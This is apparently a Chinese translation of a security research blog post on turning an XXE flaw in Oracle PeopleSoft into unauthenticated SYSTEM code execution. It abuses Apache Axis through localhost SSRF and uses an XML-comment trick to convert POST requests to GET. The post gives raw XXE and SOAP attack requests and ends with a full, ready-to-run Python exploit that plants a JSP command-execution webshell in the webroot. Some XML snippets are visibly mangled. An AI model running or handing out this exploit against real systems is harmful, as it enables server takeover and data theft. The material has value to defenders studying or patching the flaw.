导语:几个月前,我有机会审核几个Oracle PeopleSoft解决方案,包括PeopleSoft HRMS和PeopleTool。今天就一一详细解析一下。

几个月前,我有机会审核几个Oracle PeopleSoft解决方案,包括PeopleSoft HRMS和PeopleTool。尽管有几个CVE,但网络上并没有太多攻击此软件的方法,除了两年前HITB大会议题”ERPScan“提到的一些漏洞。从PPT中可以看到PeopleSoft存在一些漏洞,但是没有很多关于这些漏洞的公开信息。

在这篇文章中,我给大家介绍一种能够将XXE漏洞转换成命令执行的通用方法(可能影响所有PeopleSoft版本)。

XXE:访问本地网络

我们目前已知多个XXE,如CVE-2013-3800CVE-2013-3821。最新的xxe是ERPScan纪录的CVE-2017-3548。通常,它们可以用于提取PeopleSoft和WebLogic控制台的凭据,但两个控制台不能提供一种简单的获取shell的方法。此外,由于上一个XXE是Blind-XXE的,我们假设一个防火墙网络,我们不能轻易的获取到数据。

CVE-2013-3821 – 集成网关HttpListeningConnector XXE

POST /PSIGW/HttpListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...
<?xml version="1.0"?>
<!DOCTYPE IBRequest [
<!ENTITY x SYSTEM "http://localhost:51420">
]>
<IBRequest>
   <ExternalOperationName>&x;</ExternalOperationName>
   <OperationType/>
   <From><RequestingNode/>
      <Password/>
      <OrigUser/>
      <OrigNode/>
      <OrigProcess/>
      <OrigTimeStamp/>
   </From>
   <To>
      <FinalDestination/>
      <DestinationNode/>
      <SubChannel/>
   </To>
   <ContentSections>
      <ContentSection>
         <NonRepudiation/>
         <MessageVersion/>
         <Data><![CDATA[<?xml version="1.0"?>your_message_content]]>
         </Data>
      </ContentSection>
   </ContentSections>
</IBRequest>

CVE-2017-3548:集成网关PeopleSoftServiceListeningConnector XXE

POST /PSIGW/PeopleSoftServiceListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...
<!DOCTYPE a PUBLIC "-//B/A/EN" "C:windows"

相反,我们将使用XXE作为从localhost到达各种服务的方法,可能绕过防火墙规则或授权检查。唯一的问题是找到本地端口。我们可以通过cookies到达主页:

Set-Cookie : SNP2118-51500-PORTAL-PSJSESSIONID = 9JwqZVxKjzGJn1s5DLf1t46pz91FFb3p !-1515514079

在这种情况下,端口是51500.我们可以通过http:// localhost:51500/从内部到达应用程序。

Apache Axis

 Apache Axis 1.4存在一个未经身份验证的服务,漏洞的地址是http://website.com/pspc/services下。Apache Axis允许您从Java类构建SOAP,通过生成其WSDL以及帮助代码与其进行交互。为了管理它,必须与存在于此URL的AdminService进行交互http://website.com/pspc/services/AdminService。

例如,管理员将如何根据该类(java.util.Random)创建一个节点:
POST /pspc/services/AdminService
Host: website.com
SOAPAction: something
Content-Type: application/xml
...
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
        xmlns:xsd="http://www.w3.org/2001/XMLSchema"
        xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Body>
        <ns1:deployment
            xmlns="http://xml.apache.org/axis/wsdd/"
            xmlns:java="http://xml.apache.org/axis/wsdd/providers/java"
            xmlns:ns1="http://xml.apache.org/axis/wsdd/">
            <ns1:service name="RandomService" provider="java:RPC">
                <ns1:parameter name="className" value="java.util.Random"/>
                <ns1:parameter name="allowedMethods" value="*"/>
            </ns1:service>
        </ns1:deployment>
    </soapenv:Body>
</soapenv:Envelope

因此,java.util.Random的每个公共方法都可以作为webservice使用。可以通过SOAP调用Random.nextInt()。

POST /pspc/services/RandomService
Host: website.com
SOAPAction: something
Content-Type: application/xml
...
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
        xmlns:xsd="http://www.w3.org/2001/XMLSchema"
        xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Body>
        <api:nextInt />
    </soapenv:Body>
</soapenv:Envelope

响应信息如下:

HTTP/1.1 200 OK
...
<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope
    xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
    xmlns:xsd="http://www.w3.org/2001/XMLSchema"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
    <soapenv:Body>
        <ns1:nextIntResponse
            soapen
            xmlns:ns1="http://127.0.0.1/Integrics/Enswitch/API">
            <nextIntReturn href="#id0"/>
        </ns1:nextIntResponse>
        <multiRef id="id0" soapenc:root="0"
            soapen
            xsi:type="xsd:int"
            xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">
            1244788438 <!-- Here's our random integer -->
        </multiRef>
    </soapenv:Body>
</soapenv:Envelope

虽然这个管理员终端节点已经屏蔽了外部IP地址,但是当我们通过localhost来访问它时却不需要输入任何的密码。因此,这里也就成为了我们的一个攻击测试点了。由于我们使用的是一个XXE漏洞,因此POST请求在这里就不可行了,而我们需要一种方法来将我们的SOAP Payload转换为GET请求发送给主机服务器。

Axis:从POST到GET

Axis API允许我们发送GET请求。它需要给定的URL参数并将其转换为SOAP有效负载。以下是从Axis的源代码中将GET参数转换为XML有效负载的代码。

public class AxisServer extends AxisEngine {
    [...]
    {
        String method = null;
        String args = "";
        Enumeration e = request.getParameterNames();
        while (e.hasMoreElements()) {
            String param = (String) e.nextElement();
            if (param.equalsIgnoreCase ("method")) {
                method = request.getParameter (param);
            }
            else {
                args += "<" + param + ">" + request.getParameter (param) +
                        "</" + param + ">";
            }
        }
        String body = "<" + method + ">" + args + "</" + method + ">";
        String msgtxt = "<SOAP-ENV:Envelope" +
                " xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">" +
                "<SOAP-ENV:Body>" + body + "</SOAP-ENV:Body>" +
                "</SOAP-ENV:Envelope>";
    }

为了深入理解它的工作原理,使用一个样例:

 GET /pspc/services/SomeService
     ?method=myMethod
     &parameter1=test1
     &parameter2=test

相当于:

<?xml version =“1.0”encoding =“utf-8”?> 
<soapenv:Envelope  xmlns:xsi = “http://www.w3.org/2001/XMLSchema-instance” 
        xmlns:api = “http: /127.0.0.1/Integrics/Enswitch/API“xmlns:xsd 
        = ”http://www.w3.org/2001/XMLSchema“ 
        xmlns:soapenv = ”http://schemas.xmlsoap.org/soap/envelope/“ > 
    <soapenv:Body> 
        <myMethod> 
            <parameter1> test1 </ parameter1> 
            <parameter2> test2 </ parameter2> 
        </ myMethod> 
    </ soapenv:Body> 
</ soapenv:Envelope

然而,当我们尝试使用此方法设置新端点时,会出现错误。我们的XML标签必须有属性,但我们的代码不允许。当我们尝试在GET请求中添加标签属性时,例如:

GET /pspc/services/SomeService
     ?method=myMethod+attr0="x"
     &parameter1+attr1="y"=test1
&parameter2=test

我们得到的结果如下:

<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
        xmlns:xsd="http://www.w3.org/2001/XMLSchema"
        xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Body>
        <myMethod attr0="x">
            <parameter1 attr1="y">test1</parameter1 attr1="y">
            <parameter2>test2</parameter2>
        </myMethod attr0="x">
    </soapenv:Body>
</soapenv:Envelope

显然,这不是正确的xml,我们的请求被拒绝,如果我们把整改payload放在参数中,像这样

GET /pspc/services/SomeService?
   method=myMethod+attr="x"><test>y</test></myMetho

我们得到的结果如下

  <?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
        xmlns:xsd="http://www.w3.org/2001/XMLSchema"
        xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Body>
        <myMethod attr="x"><test>y</test></myMethod>
        </myMethod attr="x"><test>y</test></myMethod>
    </soapenv:Body>
</soapenv:Envelope

此时,我们的Payload将会出现两次,第一次的前缀为“<”,第二次为“</”。最终的解决方案需要用到XML注释

GET /pspc/services/SomeService
?method=!--><myMethod+attr="x"><test>y</test></myMetho

我们得到如下结果:

<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
        xmlns:xsd="http://www.w3.org/2001/XMLSchema"
        xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Body>
        <!--><myMethod attr="x"><test>y</test></myMethod>
        </!--><myMethod attr="x"><test>y</test></myMethod>
    </soapenv:Body>
</soapenv:Envelope

由于我们添加了前缀“!–>”,所以第一个Payload是以“<!–”开头的,这也是XML注释的起始标记。第二行以“</!”开头,后面跟着的是“–>”,它表示注释结束。因此,这也就意味着我们的第一行Payload将会被忽略,而我们的Payload现在只会被解析一次。

这样一来,我们就可以将任意的SOAP请求从POST转变为GET了,这也就意味着我们可以将任何的类当作Axis服务进行部署,并利用XXE漏洞绕过服务的IP检测。

Axis:小工具

Apache Axis不允许我们在部署时上传我们自己的Java类。在PeopleSoft的pspc.war(包含Axis实例)进行了一些研究之后Deploy,该org.apache.pluto.portalImpl软件包的类包含有趣的方法。首先,addToEntityReg(String[] args)允许我们在XML文件的最后添加任意数据。其次,copy(file1, file2)让我们把它复制到任何地方。这通过在我们的XML中插入JSP有效载荷并将其复制到webroot中来获取shell。

正如预期的那样,PeopleSoft作为SYSTEM运行。这导致了一个未经身份验证的XXE到远程代码执行漏洞。

Exploit

#!/usr/bin/python3
# Oracle PeopleSoft SYSTEM RCE
# https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce
# cf
# 2017-05-17
import requests
import urllib.parse
import re
import string
import random
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
try:
    import colorama
except ImportError:
    colorama = None
else:
    colorama.init()
    COLORS = {
        '+': colorama.Fore.GREEN,
        '-': colorama.Fore.RED,
        ':': colorama.Fore.BLUE,
        '!': colorama.Fore.YELLOW
    }
URL = sys.argv[1].rstrip('/')
CLASS_NAME = 'org.apache.pluto.portalImpl.Deploy'
PROXY = 'localhost:8080'
# shell.jsp?c=whoami
PAYLOAD = '<%@ page import="java.util.*,java.io.*"%><% if (request.getParameter("c") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("c")); DataInputStream dis = new DataInputStream(p.getInputStream()); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); }; p.destroy(); }%>'
class Browser:
    """Wrapper around requests.
    """
    def __init__(self, url):
        self.url = url
        self.init()
    def init(self):
        self.session = requests.Session()
        self.session.proxies = {
            'http': PROXY,
            'https': PROXY
        }
        self.session.verify = False
    def get(self, url ,*args, **kwargs):
        return self.session.get(url=self.url + url, *args, **kwargs)
    def post(self, url, *args, **kwargs):
        return self.session.post(url=self.url + url, *args, **kwargs)
    def matches(self, r, regex):
        return re.findall(regex, r.text)
class Recon(Browser):
    """Grabs different informations about the target.
    """
    def check_all(self):
        self.site_id = None
        self.local_port = None
        self.check_version()
        self.check_site_id()
        self.check_local_infos()
    def check_version(self):
        """Grabs PeopleTools' version.
        """
        self.version = None
        r = self.get('/PSEMHUB/hub')
        m = self.matches(r, 'Registered Hosts Summary - ([0-9.]+).</b>')
        if m:
            self.version = m[0]
            o(':', 'PTools version: %s' % self.version)
        else:
            o('-', 'Unable to find version')
    def check_site_id(self):
        """Grabs the site ID and the local port.
        """
        if self.site_id:
            return
        r = self.get('/')
        m = self.matches(r, '/([^/]+)/signon.html')
        if not m:
            raise RuntimeError('Unable to find site ID')
        self.site_id = m[0]
        o('+', 'Site ID: ' + self.site_id)
    def check_local_infos(self):
        """Uses cookies to leak hostname and local port.
        """
        if self.local_port:
            return
        r = self.get('/psp/%s/signon.html' % self.site_id)
        for c, v in self.session.cookies.items():
            if c.endswith('-PORTAL-PSJSESSIONID'):
                self.local_host, self.local_port, *_ = c.split('-')
                o('+', 'Target: %s:%s' % (self.local_host, self.local_port))
                return
        raise RuntimeError('Unable to get local hostname / port')
class AxisDeploy(Recon):
    """Uses the XXE to install Deploy, and uses its two useful methods to get
    a shell.
    """
    def init(self):
        super().init()
        self.service_name = 'YZWXOUuHhildsVmHwIKdZbDCNmRHznXR' #self.random_string(10)
    def random_string(self, size):
        return ''.join(random.choice(string.ascii_letters) for _ in range(size))
    def url_service(self, payload):
        return 'http://localhost:%s/pspc/services/AdminService?method=%s' % (
            self.local_port,
            urllib.parse.quote_plus(self.psoap(payload))
        )
    def war_path(self, name):
        # This is just a guess from the few PeopleSoft instances we audited.
        # It might be wrong.
        suffix = '.war' if self.version and self.version >= '8.50' else ''
        return './applications/peoplesoft/%s%s' % (name, suffix)
    def pxml(self, payload):
        """Converts an XML payload into a one-liner.
        """
        payload = payload.strip().replace('n', ' ')
        payload = re.sub('s+<', '<', payload, flags=re.S)
        payload = re.sub('s+', ' ', payload, flags=re.S)
        return payload
    def psoap(self, payload):
        """Converts a SOAP payload into a one-liner, including the comment trick
        to allow attributes.
        """
        payload = self.pxml(payload)
        payload = '!-->%s' % payload[:-1]
        return payload
    def soap_service_deploy(self):
        """SOAP payload to deploy the service.
        """
        return """
        <ns1:deployment xmlns="http://xml.apache.org/axis/wsdd/"
        xmlns:java="http://xml.apache.org/axis/wsdd/providers/java"
        xmlns:ns1="http://xml.apache.org/axis/wsdd/">
            <ns1:service name="%s" provider="java:RPC">
                <ns1:parameter name="className" value="%s"/>
                <ns1:parameter name="allowedMethods" value="*"/>
            </ns1:service>
        </ns1:deployment>
        """ % (self.service_name, CLASS_NAME)
    def soap_service_undeploy(self):
        """SOAP payload to undeploy the service.
        """
        return """
        <ns1:undeployment xmlns="http://xml.apache.org/axis/wsdd/"
        xmlns:ns1="http://xml.apache.org/axis/wsdd/">
        <ns1:service name="%s"/>
        </ns1:undeployment>
        """ % (self.service_name, )
    def xxe_ssrf(self, payload):
        """Runs the given AXIS deploy/undeploy payload through the XXE.
        """
        data = """
        <?xml version="1.0"?>
        <!DOCTYPE IBRequest [
        <!ENTITY x SYSTEM "%s">
        ]>
        <IBRequest>
           <ExternalOperationName>&x;</ExternalOperationName>
           <OperationType/>
           <From><RequestingNode/>
              <Password/>
              <OrigUser/>
              <OrigNode/>
              <OrigProcess/>
              <OrigTimeStamp/>
           </From>
           <To>
              <FinalDestination/>
              <DestinationNode/>
              <SubChannel/>
           </To>
           <ContentSections>
              <ContentSection>
                 <NonRepudiation/>
                 <MessageVersion/>
                 <Data>
                 </Data>
              </ContentSection>
           </ContentSections>
        </IBRequest>
        """ % self.url_service(payload)
        r = self.post(
            '/PSIGW/HttpListeningConnector',
            data=self.pxml(data),
            headers={
                'Content-Type': 'application/xml'
            }
        )
    def service_check(self):
        """Verifies that the service is correctly installed.
        """
        r = self.get('/pspc/services')
        return self.service_name in r.text
    def service_deploy(self):
        self.xxe_ssrf(self.soap_service_deploy())
        if not self.service_check():
            raise RuntimeError('Unable to deploy service')
        o('+', 'Service deployed')
    def service_undeploy(self):
        if not self.local_port:
            return
        self.xxe_ssrf(self.soap_service_undeploy())
        if self.service_check():
            o('-', 'Unable to undeploy service')
            return
        o('+', 'Service undeployed')
    def service_send(self, data):
        """Send data to the Axis endpoint.
        """
        return self.post(
            '/pspc/services/%s' % self.service_name,
            data=data,
            headers={
                'SOAPAction': 'useless',
                'Content-Type': 'application/xml'
            }
        )
    def service_copy(self, path0, path1):
        """Copies one file to another.
        """
        data = """
        <?xml version="1.0" encoding="utf-8"?>
        <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
        xmlns:xsd="http://www.w3.org/2001/XMLSchema"
        xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
        <soapenv:Body>
        <api:copy
        soapen>
            <in0 xsi:type="xsd:string">%s</in0>
            <in1 xsi:type="xsd:string">%s</in1>
        </api:copy>
        </soapenv:Body>
        </soapenv:Envelope>
        """.strip() % (path0, path1)
        response = self.service_send(data)
        return '<ns1:copyResponse' in response.text
    def service_main(self, tmp_path, tmp_dir):
        """Writes the payload at the end of the .xml file.
        """
        data = """
        <?xml version="1.0" encoding="utf-8"?>
        <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
        xmlns:xsd="http://www.w3.org/2001/XMLSchema"
        xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
        <soapenv:Body>
        <api:main
        soapen>
            <api:in0>
                <item xsi:type="xsd:string">%s</item>
                <item xsi:type="xsd:string">%s</item>
                <item xsi:type="xsd:string">%s.war</item>
                <item xsi:type="xsd:string">something</item>
                <item xsi:type="xsd:string">-addToEntityReg</item>
                <item xsi:type="xsd:string"><![CDATA[%s]]></item>
            </api:in0>
        </api:main>
        </soapenv:Body>
        </soapenv:Envelope>
        """.strip() % (tmp_path, tmp_dir, tmp_dir, PAYLOAD)
        response = self.service_send(data)
    def build_shell(self):
        """Builds a SYSTEM shell.
        """
        # On versions >= 8.50, using another extension than JSP got 70 bytes
        # in return every time, for some reason.
        # Using .jsp seems to trigger caching, thus the same pivot cannot be
        # used to extract several files.
        # Again, this is just from experience, nothing confirmed
        pivot = '/%s.jsp' % self.random_string(20)
        pivot_path = self.war_path('PSOL') + pivot
        pivot_url = '/PSOL' + pivot
        # 1: Copy portletentityregistry.xml to TMP
        per = '/WEB-INF/data/portletentityregistry.xml'
        per_path = self.war_path('pspc')
        tmp_path = '../' * 20 + 'TEMP'
        tmp_dir = self.random_string(20)
        tmp_per = tmp_path + '/' + tmp_dir + per
        if not self.service_copy(per_path + per, tmp_per):
            raise RuntimeError('Unable to copy original XML file')
        # 2: Add JSP payload
        self.service_main(tmp_path, tmp_dir)
        # 3: Copy XML to JSP in webroot
        if not self.service_copy(tmp_per, pivot_path):
            raise RuntimeError('Unable to copy modified XML file')
        response = self.get(pivot_url)
        if response.status_code != 200:
            raise RuntimeError('Unable to access JSP shell')
        o('+', 'Shell URL: ' + self.url + pivot_url)
class PeopleSoftRCE(AxisDeploy):
    def __init__(self, url):
        super().__init__(url)
def o(s, message):
    if colorama:
        c = COLORS[s]
        s = colorama.Style.BRIGHT + COLORS[s] + '|' + colorama.Style.RESET_ALL
    print('%s %s' % (s, message))
x = PeopleSoftRCE(URL)
try:
    x.check_all()
    x.service_deploy()
    x.build_shell()
except RuntimeError as e:
    o('-', e)
finally:
    x.service_undeploy()
源链接

Hacking more

...